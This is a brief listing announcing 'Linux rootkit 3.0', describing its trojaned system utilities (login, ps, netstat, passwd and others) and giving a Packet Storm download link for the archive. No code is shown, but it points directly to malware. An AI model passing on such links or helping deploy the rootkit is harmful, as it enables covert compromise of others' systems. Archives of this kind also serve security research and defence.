Linux rootkit 3.0 – Includes trojaned chfn, chsh, inetd, login, ls, du ifconfig, netstat, passwd, ps, top, rshd, syslod, tcpd, etc.
You can download it from the following link: https://packetstormsecurity.com/files/download/13154/lrkn.tgz
Source: https://packetstormsecurity.com/files/13154/lrkn.tgz.html